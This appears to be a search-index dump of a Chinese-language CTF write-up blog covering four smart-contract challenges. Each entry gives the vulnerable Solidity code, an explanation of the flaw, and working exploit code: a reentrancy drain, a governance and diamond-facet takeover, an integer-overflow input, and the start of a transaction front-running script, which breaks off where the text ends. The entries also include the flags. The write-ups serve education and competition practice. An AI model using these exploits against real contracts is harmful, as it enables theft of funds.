) public onlyOwner { payable ( _userAddress ). sendValue ( _wad ); _burn ( _userAddress , _wad ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , _wad ); } function withdrawAll ( address _userAddress ) public onlyOwner { payable ( _userAddress ). sendValue ( balanceOf [ _userAddress ]); _burnAll ( _userAddress ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , balanceOf [ _userAddress ]); } function totalSupply () public view returns ( uint256 ) { return address ( this ). balance ; } function approve ( address guy , uint256 wad ) public returns ( bool ) { allowance [ msg . sender ][ guy ] = wad ; emit Approval ( msg . sender , guy , wad ); return true ; } function transfer ( address dst , uint256 wad ) public returns ( bool ) { return transferFrom ( msg . sender , dst , wad ); } function transferFrom ( address src , address dst , uint256 wad ) public returns ( bool ) { require ( balanceOf [ src ] >= wad ); if ( src != msg . sender && allowance [ src ][ msg . sender ] != type ( uint256 ). max ) { require ( allowance [ src ][ msg . sender ] >= wad ); allowance [ src ][ msg . sender ] -= wad ; } balanceOf [ src ] -= wad ; balanceOf [ dst ] += wad ; emit Transfer ( src , dst , wad ); return true ; } function flashLoan ( address _userAddress , uint256 _wad , bytes calldata data ) public onlyOwner { require ( _wad <= address ( this ). balance , \"PETH: wad exceeds balance\" ); require ( Address . isContract ( _userAddress ), \"PETH: Borrower must be a contract\" ); uint256 userBalanceBefore = address ( this ). balance ; // @dev Send Ether to borrower (Borrower must implement receive() function) Address . functionCallWithValue ( _userAddress , data , _wad ); uint256 userBalanceAfter = address ( this ). balance ; require ( userBalanceAfter >= userBalanceBefore , \"PETH: You did not return my Ether!\" ); // @dev if user gave me more Ether, refund it if ( userBalanceAfter > userBalanceBefore ) { uint256 refund = userBalanceAfter - userBalanceBefore ; payable ( _userAddress ). sendValue ( refund ); } } // ========== INTERNAL FUNCTION ========== function _mint ( address dst , uint256 wad ) internal { balanceOf [ dst ] += wad ; } function _burn ( address src , uint256 wad ) internal { require ( balanceOf [ src ] >= wad ); balanceOf [ src ] -= wad ; } function _burnAll ( address _userAddress ) internal { _burn ( _userAddress , balanceOf [ _userAddress ]); } }","title":"\u9898\u76ee"},{"location":"blockchain/pigeon_bank/#_2","text":"\u521d\u59cb\uff0c Setup \u5408\u7ea6\u5411 PETH deposit \u4e86 2500 ether\uff0c\u76ee\u6807\u662f\u6e05\u7a7a PETH \u5185\u7684\u5b58\u6b3e \u9700\u8981\u901a\u8fc7 PigeonBank \u8c03\u7528 PETH \u7684\u51fd\u6570\uff0c\u53ef\u8c03\u7528\u7684\u51fd\u6570\u5305\u62ec deposit() \u3001 withdraw() \u3001 withdrawAll() \u548c flashLoan() \u9996\u5148\u5173\u6ce8 flashLoan() \uff0c\u7531\u4e8e\u4e0d\u80fd\u76f4\u63a5\u5411 PETH \u53d1\u9001 ETH\uff0c\u8981\u4e48\u6bcf\u6b21\u501f\u8d37\u91d1\u989d\u4e3a 0\uff0c\u8981\u4e48\u4f7f\u7528 selfdestruct \u8fd4\u8fd8\u7ed9 PETH \uff0c\u4f46\u90fd\u4e0d\u5177\u5907\u592a\u5927\u7684\u4ef7\u503c receive () external payable { revert ( \"PETH: Do not send ETH directly\" ); } \u4e0d\u8fc7\uff0c PETH.flashLoan() \u4f7f\u7528\u4e86 Address.functionCallWithValue() \uff0c\u5373\u53ef\u4ee5\u8ba9 PETH \u7684\u5b9e\u4f8b\u8c03\u7528\u4efb\u4f55\u51fd\u6570 :D \u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u5728 withdrawAll() \u4e2d\uff0c\u9996\u5148\u5411 _userAddress \u53d1\u9001\u5176\u5f53\u524d\u4f59\u989d\u5bf9\u5e94\u6570\u91cf\u7684 ETH\uff0c\u968f\u540e\u6839\u636e _userAddress \u7684\u5f53\u524d\u4f59\u989d\u9500\u6bc1\u4ee3\u5e01\uff0c\u90a3\u4e48\u53ef\u4ee5\u5728\u56de\u8c03\u51fd\u6570\u4e2d\u5c06\u4ee3\u5e01 transfer \u5230\u53d7\u63a7\u5730\u5740\uff08\u53ef\u4ee5\u662f PETH \u5b9e\u4f8b\uff0c\u4f7f\u7528 flashLoan() \u8c03\u7528 approve \uff09\uff0c\u4ece\u800c\u9010\u6b65\u8f6c\u79fb PETH \u6301\u6709\u7684 ETH > < function withdrawAll ( address _userAddress ) public onlyOwner { payable ( _userAddress ). sendValue ( balanceOf [ _userAddress ]); _burnAll ( _userAddress ); // require(success, \"SEETH: withdraw failed\"); emit Withdrawal ( _userAddress , balanceOf [ _userAddress ]); } function _burn ( address src , uint256 wad ) internal { require ( balanceOf [ src ] >= wad ); balanceOf [ src ] -= wad ; } function _burnAll ( address _userAddress ) internal { _burn ( _userAddress , balanceOf [ _userAddress ]); }","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/pigeon_bank/#exploit","text":"pragma solidity 0.8.17 ; interface IPigeonBank { function peth () external view returns ( IPETH ); function deposit () external payable ; function withdraw ( uint256 wad ) external ; function withdrawAll () external ; function flashLoan ( address receiver , bytes calldata data , uint256 wad ) external ; } interface IPETH { function approve ( address guy , uint256 wad ) external returns ( bool ); function transfer ( address dst , uint256 wad ) external returns ( bool ); function transferFrom ( address src , address dst , uint256 wad ) external returns ( bool ); } contract Hack { IPigeonBank bank ; IPETH peth ; bool onWithdraw ; function exploit ( address payable instance ) external payable { bank = IPigeonBank ( instance ); peth = bank . peth (); bank . flashLoan ( address ( peth ), abi . encodeWithSignature ( \"approve(address,uint256)\" , address ( this ), type ( uint256 ). max ), 0 ); uint amount ; while ( address ( peth ). balance != 0 ) { amount = address ( this ). balance < address ( peth ). balance ? address ( this ). balance : address ( peth ). balance ; bank . deposit { value : amount }(); onWithdraw = true ; bank . withdrawAll (); onWithdraw = false ; peth . transferFrom ( address ( peth ), address ( this ), amount ); bank . withdrawAll (); } selfdestruct ( payable ( msg . sender )); } fallback () external payable { if ( onWithdraw ) { peth . transfer ( address ( peth ), msg . value ); } } }","title":"Exploit"},{"location":"blockchain/pigeon_bank/#flag","text":"SEE{N0t_4n0th3r_r33ntr4ncY_4tt4ck_abb0acf50139ba1e468f363f96bc5a24}","title":"Flag"},{"location":"blockchain/pigeon_vault/","tags":["smart contract","diamond","proxy","data validation","ecrecover"],"text":"#smart contract #diamond #proxy #data validation #ecrecover .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system. Find out a way to steal his funds before he discovers any flaws in his implementation. Blockchain has a block time of 10: https://book.getfoundry.sh/reference/anvil/ nc win.the.seetf.sg 8552 pigeon_vault.zip \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u6210\u4e3a diamond \u5408\u7ea6\u7684\u6240\u6709\u8005\u4e14\u6301\u6709\u4e0d\u5c11\u4e8e 3000 ether (\u5373\u6e05\u7a7a pigeonDiamond \u7684\u4f59\u989d) function isSolved () external view returns ( bool ) { return ( IOwnershipFacet ( address ( pigeonDiamond )). owner () == msg . sender && msg . sender . balance >= 3000 ether ); } PigeonDiamond \u91c7\u7528\u4e86 Diamond Storage \u548c App Storage \u6df7\u5408\u7684\u5b58\u50a8\u6a21\u5f0f \u5148\u4e86\u89e3\u4e00\u4e0b\u5e94\u7528\u5c42\u9762\u5207\u9762\u7684\u529f\u80fd DAOFacet submitProposal() \u7531\u4e8e isUserGovernance() \u9608\u503c\u8bbe\u7f6e\u5b58\u5728\u95ee\u9898\uff0c\u4efb\u610f\u7528\u6237\u53ef\u4ee5\u63d0\u4ea4\u64cd\u4f5c\u5207\u9762\u7684\u63d0\u6848 function isUserGovernance ( address _user ) internal view returns ( bool ) { uint256 totalSupply = s . totalSupply ; uint256 userBalance = LibDAO . getCurrentVotes ( _user ); uint256 threshold = ( userBalance * 100 ) / totalSupply ; return userBalance >= threshold ; // If userBalance equals 0, then the threshold is 0 and satisfies this condition } executeProposal() \u6267\u884c\u6307\u5b9a\u63d0\u6848 \u63d0\u6848\u7684 forVotes \u9700\u8981\u5927\u4e8e againstVotes \u4ee5\u53ca\u5341\u5206\u4e4b\u4e00\u7684 totalSupply castVoteBySig() \u9a8c\u8bc1\u7b7e\u540d\u5e76\u4e3a\u63d0\u6848\u6295\u7968 \u53ea\u68c0\u67e5 signer \u4e0d\u4e3a address(0) \uff0c\u56e0\u6b64\u53ef\u4ee5\u662f\u65e0\u6548\u7b7e\u540d \u7968\u6570\u4e3a msg.sender \uff08\u800c\u4e0d\u662f signer \uff09\u5728 proposal.startBlock \u524d\u6700\u540e\u4e00\u6b21\u8bb0\u5f55\u7684\u7968\u6570 FTCFacet FeatherCoin\uff0c\u4e0e Diamond Heist \u7c7b\u4f3c\u7684\u6a21\u5f0f OwnershipFacet \u4f7f\u7528 Diamond \u5b58\u50a8\u6a21\u5f0f\u7ba1\u7406 contractOwner PigeonVaultFacet emergencyWithdraw() owner \u53ef\u4ee5\u53d6\u51fa\u5408\u7ea6\u6240\u6709\u7684 ether \u53e6\u5916\uff0c\u5728 Setup \u4e2d\uff0c\u7531\u4e8e\u6ca1\u6709\u66f4\u65b0 claimed \uff0c\u4efb\u4f55\u4eba\u53ef\u4ee5\u8c03\u7528\u4efb\u610f\u6b21 claim() \u6765\u83b7\u5f97 FTC function claim () external { require ( ! claimed , \"You already claimed\" ); bool success = IERC20 ( address ( pigeonDiamond )). transfer ( msg . sender , 10 _000 ether ); require ( success , \"Failed to send\" ); } \u6bd4\u8f83\u7b80\u5355\u76f4\u63a5\u7684\u65b9\u6cd5\u662f\u8c03\u7528 11 \u6b21 claim() \u6765\u83b7\u53d6\u8fbe\u5230\u6267\u884c\u63d0\u6848\u9608\u503c\u7684\u7968\u6570\uff0c\u4e5f\u53ef\u901a\u8fc7 castVoteBySig() \u8fdb\u884c\u591a\u6b21\u6295\u7968 Exploit \u00b6 pragma solidity ^ 0.8.17 ; import \"forge-std/Test.sol\" ; import \"../src/Setup.sol\" ; import \"../src/libraries/LibDiamond.sol\" ; import \"../src/interfaces/IDAOFacet.sol\" ; interface IFTCFacet { function delegate ( address _delegatee ) external ; } contract HackFacet { function exploit ( address player ) external { LibDiamond . setContractOwner ( player ); payable ( player ). transfer ( address ( this ). balance ); } } contract SolveTest is Test { Setup setup ; address pigeonDiamond ; uint constant privKey = 0xdead ; address immutable hacker = vm . addr ( privKey ); function setUp () public { setup = new Setup { value : 3000 ether }(); pigeonDiamond = address ( setup . pigeonDiamond ()); } function testSolve () public { vm . startPrank ( hacker ); address hackFacet = address ( new HackFacet ()); bytes4 [] memory selectors = new bytes4 []( 1 ); selectors [ 0 ] = bytes4 ( keccak256 ( \"exploit()\" )); IDiamondCut . FacetCut memory diamondCut = IDiamondCut . FacetCut ({ facetAddress : hackFacet , action : IDiamondCut . FacetCutAction . Add , functionSelectors : selectors }); IFTCFacet ( pigeonDiamond ). delegate ( hacker ); for ( uint8 i ; i < 11 ; ++ i ) { setup . claim (); } uint proposalId = IDAOFacet ( pigeonDiamond ). submitProposal ( hackFacet , abi . encodeWithSignature ( \"exploit(address)\" , hacker ), diamondCut ); ( uint8 v , bytes32 r , bytes32 s ) = vm . sign ( privKey , keccak256 ( \"\\x19Ethereum Signed Message:\\n32\" )); bytes memory signature = abi . encodePacked ( r , s , v ); vm . roll ( 2 ); IDAOFacet ( pigeonDiamond ). castVoteBySig ( proposalId , true , signature ); vm . roll ( 10 ); IDAOFacet ( pigeonDiamond ). executeProposal ( proposalId ); assert ( setup . isSolved ()); vm . stopPrank (); } } Flag \u00b6 SEE{D14m0nd5_st0rAg3_4nd_P1g30nS_d0n\u2019t_g0_w311_t0G37h3r_B1lnG_bl1ng_bed2cbc16cbfca78f6e7d73ae2ac987f}","title":"Pigeon Vault"},{"location":"blockchain/pigeon_vault/#_1","text":"rainbowpigeon has just received a massive payout from his secret business, and he now wants to create a secure vault to store his cryptocurrency assets. To achieve this, he developed PigeonVault, and being a smart guy, he made provisions for upgrading the contract in case he detects any vulnerability in the system. Find out a way to steal his funds before he discovers any flaws in his implementation. Blockchain has a block time of 10: https://book.getfoundry.sh/reference/anvil/ nc win.the.seetf.sg 8552 pigeon_vault.zip","title":"\u9898\u76ee"},{"location":"blockchain/pigeon_vault/#_2","text":"\u9700\u8981\u6210\u4e3a diamond \u5408\u7ea6\u7684\u6240\u6709\u8005\u4e14\u6301\u6709\u4e0d\u5c11\u4e8e 3000 ether (\u5373\u6e05\u7a7a pigeonDiamond \u7684\u4f59\u989d) function isSolved () external view returns ( bool ) { return ( IOwnershipFacet ( address ( pigeonDiamond )). owner () == msg . sender && msg . sender . balance >= 3000 ether ); } PigeonDiamond \u91c7\u7528\u4e86 Diamond Storage \u548c App Storage \u6df7\u5408\u7684\u5b58\u50a8\u6a21\u5f0f \u5148\u4e86\u89e3\u4e00\u4e0b\u5e94\u7528\u5c42\u9762\u5207\u9762\u7684\u529f\u80fd DAOFacet submitProposal() \u7531\u4e8e isUserGovernance() \u9608\u503c\u8bbe\u7f6e\u5b58\u5728\u95ee\u9898\uff0c\u4efb\u610f\u7528\u6237\u53ef\u4ee5\u63d0\u4ea4\u64cd\u4f5c\u5207\u9762\u7684\u63d0\u6848 function isUserGovernance ( address _user ) internal view returns ( bool ) { uint256 totalSupply = s . totalSupply ; uint256 userBalance = LibDAO . getCurrentVotes ( _user ); uint256 threshold = ( userBalance * 100 ) / totalSupply ; return userBalance >= threshold ; // If userBalance equals 0, then the threshold is 0 and satisfies this condition } executeProposal() \u6267\u884c\u6307\u5b9a\u63d0\u6848 \u63d0\u6848\u7684 forVotes \u9700\u8981\u5927\u4e8e againstVotes \u4ee5\u53ca\u5341\u5206\u4e4b\u4e00\u7684 totalSupply castVoteBySig() \u9a8c\u8bc1\u7b7e\u540d\u5e76\u4e3a\u63d0\u6848\u6295\u7968 \u53ea\u68c0\u67e5 signer \u4e0d\u4e3a address(0) \uff0c\u56e0\u6b64\u53ef\u4ee5\u662f\u65e0\u6548\u7b7e\u540d \u7968\u6570\u4e3a msg.sender \uff08\u800c\u4e0d\u662f signer \uff09\u5728 proposal.startBlock \u524d\u6700\u540e\u4e00\u6b21\u8bb0\u5f55\u7684\u7968\u6570 FTCFacet FeatherCoin\uff0c\u4e0e Diamond Heist \u7c7b\u4f3c\u7684\u6a21\u5f0f OwnershipFacet \u4f7f\u7528 Diamond \u5b58\u50a8\u6a21\u5f0f\u7ba1\u7406 contractOwner PigeonVaultFacet emergencyWithdraw() owner \u53ef\u4ee5\u53d6\u51fa\u5408\u7ea6\u6240\u6709\u7684 ether \u53e6\u5916\uff0c\u5728 Setup \u4e2d\uff0c\u7531\u4e8e\u6ca1\u6709\u66f4\u65b0 claimed \uff0c\u4efb\u4f55\u4eba\u53ef\u4ee5\u8c03\u7528\u4efb\u610f\u6b21 claim() \u6765\u83b7\u5f97 FTC function claim () external { require ( ! claimed , \"You already claimed\" ); bool success = IERC20 ( address ( pigeonDiamond )). transfer ( msg . sender , 10 _000 ether ); require ( success , \"Failed to send\" ); } \u6bd4\u8f83\u7b80\u5355\u76f4\u63a5\u7684\u65b9\u6cd5\u662f\u8c03\u7528 11 \u6b21 claim() \u6765\u83b7\u53d6\u8fbe\u5230\u6267\u884c\u63d0\u6848\u9608\u503c\u7684\u7968\u6570\uff0c\u4e5f\u53ef\u901a\u8fc7 castVoteBySig() \u8fdb\u884c\u591a\u6b21\u6295\u7968","title":"\u89e3\u9898\u601d\u8def"},{"location":"blockchain/pigeon_vault/#exploit","text":"pragma solidity ^ 0.8.17 ; import \"forge-std/Test.sol\" ; import \"../src/Setup.sol\" ; import \"../src/libraries/LibDiamond.sol\" ; import \"../src/interfaces/IDAOFacet.sol\" ; interface IFTCFacet { function delegate ( address _delegatee ) external ; } contract HackFacet { function exploit ( address player ) external { LibDiamond . setContractOwner ( player ); payable ( player ). transfer ( address ( this ). balance ); } } contract SolveTest is Test { Setup setup ; address pigeonDiamond ; uint constant privKey = 0xdead ; address immutable hacker = vm . addr ( privKey ); function setUp () public { setup = new Setup { value : 3000 ether }(); pigeonDiamond = address ( setup . pigeonDiamond ()); } function testSolve () public { vm . startPrank ( hacker ); address hackFacet = address ( new HackFacet ()); bytes4 [] memory selectors = new bytes4 []( 1 ); selectors [ 0 ] = bytes4 ( keccak256 ( \"exploit()\" )); IDiamondCut . FacetCut memory diamondCut = IDiamondCut . FacetCut ({ facetAddress : hackFacet , action : IDiamondCut . FacetCutAction . Add , functionSelectors : selectors }); IFTCFacet ( pigeonDiamond ). delegate ( hacker ); for ( uint8 i ; i < 11 ; ++ i ) { setup . claim (); } uint proposalId = IDAOFacet ( pigeonDiamond ). submitProposal ( hackFacet , abi . encodeWithSignature ( \"exploit(address)\" , hacker ), diamondCut ); ( uint8 v , bytes32 r , bytes32 s ) = vm . sign ( privKey , keccak256 ( \"\\x19Ethereum Signed Message:\\n32\" )); bytes memory signature = abi . encodePacked ( r , s , v ); vm . roll ( 2 ); IDAOFacet ( pigeonDiamond ). castVoteBySig ( proposalId , true , signature ); vm . roll ( 10 ); IDAOFacet ( pigeonDiamond ). executeProposal ( proposalId ); assert ( setup . isSolved ()); vm . stopPrank (); } }","title":"Exploit"},{"location":"blockchain/pigeon_vault/#flag","text":"SEE{D14m0nd5_st0rAg3_4nd_P1g30nS_d0n\u2019t_g0_w311_t0G37h3r_B1lnG_bl1ng_bed2cbc16cbfca78f6e7d73ae2ac987f}","title":"Flag"},{"location":"blockchain/positive/","tags":["smart contract","fuzzing"],"text":"#smart contract #fuzzing .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } Description \u00b6 Stay positive. nc positive.chal.crewc.tf 60003 Setup.sol pragma solidity = 0.7.6 ; import \"./Positive.sol\" ; contract Setup { Positive public immutable TARGET ; constructor () payable { TARGET = new Positive (); } function isSolved () public view returns ( bool ) { return TARGET . solved (); } } Positive.sol // SPDX-License-Identifier: MIT pragma solidity = 0.7.6 ; contract Positive { bool public solved ; constructor () { solved = false ; } function stayPositive ( int64 _num ) public returns ( int64 ){ int64 num ; if ( _num < 0 ){ num = - _num ; if ( num < 0 ){ solved = true ; } return num ; } num = _num ; return num ; } } Solution \u00b6 We need to find a number of type int64 that is less than 0, and its opposite is also negative function stayPositive ( int64 _num ) public returns ( int64 ){ int64 num ; if ( _num < 0 ){ num = - _num ; if ( num < 0 ){ solved = true ; } return num ; } num = _num ; return num ; } If you have int x = type(int).min; , then -x does not fit the positive range. This means that unchecked { assert(-x == x); } works 1 As int64 type values range from -9223372036854775808 to 9223372036854775807, the answer will be -9223372036854775808 During the competition, I used fuzzing to get the answer uwu contract PositiveTest is Test { Setup setup ; Positive target ; function setUp () public { setup = new Setup (); target = setup . TARGET (); } function testSolve ( int64 a ) public { target . stayPositive ( a ); assert ( ! target . solved ()); } } Failing tests: Encountered 1 failing test in test/Positive.t.sol:PositiveTest [ FAIL. Reason: EvmError: InvalidFEOpcode Counterexample: calldata = 0xecd6eb4fffffffffffffffffffffffffffffffffffffffffffffffff8000000000000000, args =[ -9223372036854775808 ]] testSolve ( int64 ) ( runs: 66 , \u03bc: 8924 , ~: 8925 ) Flag \u00b6 crew{9o5it1v1ty1sth3k3y} Addition, Subtraction and Multiplication \u21a9","title":"positive"},{"location":"blockchain/positive/#description","text":"Stay positive. nc positive.chal.crewc.tf 60003 Setup.sol pragma solidity = 0.7.6 ; import \"./Positive.sol\" ; contract Setup { Positive public immutable TARGET ; constructor () payable { TARGET = new Positive (); } function isSolved () public view returns ( bool ) { return TARGET . solved (); } } Positive.sol // SPDX-License-Identifier: MIT pragma solidity = 0.7.6 ; contract Positive { bool public solved ; constructor () { solved = false ; } function stayPositive ( int64 _num ) public returns ( int64 ){ int64 num ; if ( _num < 0 ){ num = - _num ; if ( num < 0 ){ solved = true ; } return num ; } num = _num ; return num ; } }","title":"Description"},{"location":"blockchain/positive/#solution","text":"We need to find a number of type int64 that is less than 0, and its opposite is also negative function stayPositive ( int64 _num ) public returns ( int64 ){ int64 num ; if ( _num < 0 ){ num = - _num ; if ( num < 0 ){ solved = true ; } return num ; } num = _num ; return num ; } If you have int x = type(int).min; , then -x does not fit the positive range. This means that unchecked { assert(-x == x); } works 1 As int64 type values range from -9223372036854775808 to 9223372036854775807, the answer will be -9223372036854775808 During the competition, I used fuzzing to get the answer uwu contract PositiveTest is Test { Setup setup ; Positive target ; function setUp () public { setup = new Setup (); target = setup . TARGET (); } function testSolve ( int64 a ) public { target . stayPositive ( a ); assert ( ! target . solved ()); } } Failing tests: Encountered 1 failing test in test/Positive.t.sol:PositiveTest [ FAIL. Reason: EvmError: InvalidFEOpcode Counterexample: calldata = 0xecd6eb4fffffffffffffffffffffffffffffffffffffffffffffffff8000000000000000, args =[ -9223372036854775808 ]] testSolve ( int64 ) ( runs: 66 , \u03bc: 8924 , ~: 8925 )","title":"Solution"},{"location":"blockchain/positive/#flag","text":"crew{9o5it1v1ty1sth3k3y} Addition, Subtraction and Multiplication \u21a9","title":"Flag"},{"location":"blockchain/private_log/","tags":["smart contract","proxy contract"],"text":"#smart contract #proxy contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 I thought I would try and save some gas by updating my log entries with assembly, I'm not super sure if it's safe, but I have added a password for good measure. But it's okay because if there is a bug I can always upgrade since I'm using the TransparentUpgradeableProxy pattern :). I love my creation so much that I add a new log every minute! Note the block time on this challenge is 23 seconds, so there will a delay in deploying and resetting the challenge. Goal: Steal all funds from the contract. PrivateLog.sol // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0 ; /** * @title Private Log * @author Blue Alder (https://duc.tf) **/ import \"OpenZeppelin/openzeppelin-contracts@4.3.2/contracts/proxy/utils/Initializable.sol\" ; contract PrivateLog is Initializable { bytes32 public secretHash ; string [] public logEntries ; constructor () { secretHash = 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD ; } function init ( bytes32 _secretHash ) payable public initializer { require ( secretHash != 0xDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEADDEAD ); secretHash = _secretHash ; } modifier hasSecret ( string memory password , bytes32 newHash ) { require ( keccak256 ( abi . encodePacked ( password )) == secretHash , \"Incorrect Hash\" ); secretHash = newHash ; _ ; } function viewLog ( uint256 logIndex ) view public returns ( string memory ) { return logEntries [ logIndex ]; } function createLogEntry ( string memory logEntry , string memory password , bytes32 newHash ) public hasSecret ( password , newHash ) { require ( bytes ( logEntry ). length <= 31 , \"log too long\" ); assembly { mstore ( 0x00 , logEntries . slot ) let length := sload ( logEntries . slot ) let logLength := mload ( logEntry ) sstore ( add ( keccak256 ( 0x00 , 0x20 ), length ), or ( mload ( add ( logEntry , 0x20 )), mul ( logLength , 2 ))) sstore ( logEntries . slot , add ( length , 1 )) } } function updateLogEntry ( uint256 logIndex , string memory logEntry , string memory password , bytes32 newHash ) public hasSecret ( password , newHash ) { require ( bytes ( logEntry ). length <= 31 , \"log too long\" ); assembly { let length := mload ( logEntry ) mstore ( 0x00 , logEntries . slot ) sstore ( add ( keccak256 ( 0x00 , 0x20 ), logIndex ), or ( mload ( add ( logEntry , 0x20 )), mul ( length , 2 ))) } } } \u89e3\u9898\u601d\u8def \u00b6 \u76ee\u6807\u662f\u8f6c\u79fb\u5408\u7ea6\u7684\u6240\u6709\u8d44\u91d1\uff0c\u4f46\u662f PrivateLog \u4e2d\u5e76\u6ca1\u6709\u76f8\u5173\u7684\u51fd\u6570 \u9898\u76ee\u63cf\u8ff0\u4e2d\u63d0\u5230\u4e86\u5408\u7ea6 TransparentUpgradeableProxy \uff0c\u975e\u7ba1\u7406\u5458\u8c03\u7528\u4ee3\u7406\u5408\u7ea6\u5c06 fallback \u5230\u903b\u8f91\u5408\u7ea6\uff0c\u4ee3\u7406\u5408\u7ea6\u4f7f\u7528\u903b\u8f91\u5408\u7ea6\u7684\u4ee3\u7801\uff0c\u800c\u5176\u4ed6\u5c5e\u6027\u5219\u5b58\u50a8\u5728\u4ee3\u7406\u5408\u7ea6\u5185\u3002\u53ef\u5347\u7ea7\u610f\u5473\u7740\u903b\u8f91\u5408\u7ea6\u662f\u53ef\u4ee5\u66f4\u6539\u7684 \u901a\u8fc7\u67e5\u770b\u4f59\u989d\u53ef\u4ee5\u786e\u8ba4\u5b9e\u9645\u4e0a\u9700\u8981\u8f6c\u79fb\u7684\u662f\u4ee3\u7406\u5408\u7ea6\u7684\u8d44\u91d1\uff0c\u90a3\u4e48\u663e\u7136\u9700\u8981\u66f4\u6539\u4ee3\u7406\u5408\u7ea6\u4e2d\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740\uff0c\u4ece\u800c\u80fd\u591f\u901a\u8fc7\u65b0\u7684\u903b\u8f91\u5408\u7ea6\u6765\u8f6c\u79fb\u8d44\u91d1 TransparentUpgradeableProxy \u4e2d\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740\u5b58\u50a8\u5728\u56fa\u5b9a\u7684\u4f4d\u7f6e _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc 1 from web3 import Web3 from web3.middleware import geth_poa_middleware import requests , json base_id = 'fd313a3613eb393b' w3 = Web3 ( Web3 . HTTPProvider ( f \"https://blockchain-privatelog- { base_id } -eth.2022.ductf.dev\" )) w3 . middleware_onion . inject ( geth_poa_middleware , layer = 0 ) info = json . loads ( requests . get ( f 'https://blockchain-privatelog- { base_id } .2022.ductf.dev/challenge' ) . content ) account = w3 . eth . account . from_key ( info [ 'player_wallet' ][ 'private_key' ]) log_addr = info [ 'contract_address' ][ 0 ][ 'address' ] proxy_addr = info [ 'contract_address' ][ 1 ][ 'address' ] print ( w3 . eth . get_balance ( log_addr )) print ( w3 . eth . get_balance ( proxy_addr )) # 0 # 100000000000000000000 updateLogEntry() \u4e0d\u68c0\u67e5 logIndex \uff0c\u800c sstore(addr, val) \u53ef\u4ee5\u5c06 val \u5199\u5165 addr \uff0c\u53ef\u4ee5\u501f\u6b64\u6765\u4fee\u6539\u903b\u8f91\u5408\u7ea6\u7684\u5730\u5740 keccak256(p, n) \u5373 keccak(mem[p\u2026(p+n))) \uff0c mem[0, 20) \u5bf9\u5e94 logEntries.slot \uff0c\u90a3\u4e48 keccak256(0x00, 0x20) \u5373 keccak(2) \uff08slot 0 Initializable \u7684\u53d8\u91cf\uff0cslot 1 secretHash \uff09 keccak256(2) \u5927\u4e8e _IMPLEMENTATION_SLOT \uff0c\u9700\u8981\u4fee\u6539\u7684 logIndex \u4e3a \\(2^{256}\\) - keccak256(2) + _IMPLEMENTATION_SLOT \u4e0d\u8fc7\uff0c logEntry \u4e3a string \u7c7b\u578b\uff0c\u5b58\u50a8\u65b9\u5f0f\u4e0e address \u4e0d\u540c \u82e5\u5b57\u7b26\u4e32\u957f\u5ea6\u4e0d\u8d85\u8fc7 31 \u5b57\u8282\uff0c\u5c06\u4ee5 higher-order \u5b58\u50a8\uff0c\u4e14\u6700\u4f4e\u5b57\u8282\u5b58\u50a8 length * 2 \uff0c\u5982\u5b57\u7b26\u4e32 hello \u5c06\u5b58\u50a8\u4e3a 0x68656c6c6f00000000000000000000000000000000000000000000000000000a \uff0c\u800c\u5730\u5740\u7c7b\u578b\u4ee5 lower-order \u5b58\u50a8 logEntry \u6700\u957f\u652f\u6301 31 \u5b57\u8282\uff0c\u90a3\u4e48\u6700\u4f4e\u5b57\u8282\u662f 0x3e \uff0c\u56e0\u6b64\u7528\u4e8e\u8f6c\u79fb\u8d44\u91d1\u7684\u903b\u8f91\u5408\u7ea6\u5730\u5740\u6700\u540e 1 \u5b57\u8282\u5e94\u4e3a 0x3e \u63a5\u4e0b\u6765\u8003\u8651\u5982\u4f55\u83b7\u5f97 updateLogEntry() \u7684\u63a7\u5236\u6743\u3002\u65e0\u8bba createLogEntry() \u6216 updateLogEntry() \u90fd\u9700\u8981\u77e5\u9053\u5f53\u524d\u7684\u5bc6\u7801\uff0c\u5e76\u4f20\u5165\u65b0\u5bc6\u7801\u7684\u54c8\u5e0c\u3002\u4f46 owner \u6bcf\u5206\u949f\u90fd\u4f1a\u8c03\u7528 createLogEntry() \uff0c\u800c\u6bcf 23s \u624d\u4ea7\u751f\u4e00\u4e2a\u65b0\u533a\u5757\uff0c\u53ef\u4ee5\u901a\u8fc7 pending \u7684\u4ea4\u6613\u83b7\u5f97\u5bc6\u7801\uff0c\u5e76\u4ee5\u66f4\u9ad8\u7684\u6c7d\u6cb9\u8d39\u53d6\u5f97\u4f18\u5148\u5199\u5165\u6743\uff0c\u4ece\u800c\u80fd\u591f\u4f7f\u7528 updateLogEntry() Exploit \u00b6 from web3 import Web3 from web3.middleware import geth_poa_middleware from eth_abi import decode_abi from eth_utils import keccak , to_bytes , to_checksum_address from solcx import compile_source import requests , json , rlp def transact ( func , gas = 1000000 , gas_price = None ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 